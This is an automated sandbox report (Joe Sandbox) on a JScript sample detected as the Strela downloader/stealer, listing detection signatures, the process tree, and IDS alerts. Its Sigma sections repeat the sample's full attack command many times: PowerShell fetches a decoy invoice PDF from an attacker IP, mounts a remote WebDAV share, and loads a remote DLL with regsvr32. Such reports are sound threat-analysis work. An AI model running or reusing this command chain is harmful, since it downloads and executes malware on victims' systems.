Edit tour

Windows Analysis Report
106714464113327088.js

Overview

General Information

Sample name:	106714464113327088.js
Analysis ID:	1590533
MD5:	87ccc3855a22aa1e743f6a4ae05f69bf
SHA1:	703beb89c0a4098264722831e50b5c0d9c2b3e0c
SHA256:	2b1896722cbf593dbd9c5561659ee8d9f3085f9d3eced0173be6918bb962ea3e
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6252 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6640 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2140 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 744 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7224 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1544,i,17645480024702962180,4049862844946627506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7028 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2056 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6256 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6252	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2140, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2140, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ProcessId: 6252, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2056, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6252, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6640, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6252, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6640, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6252, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6640, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6252, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6640, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6252, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6640, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ProcessId: 6252, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2140, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7028, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2056, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6256, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7028, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2056, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6252, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6640, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:45:02.267019+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:45:04.394030+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:45:02.267019+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 106714464113327088.js

ReversingLabs: Detection: 13%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:45:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

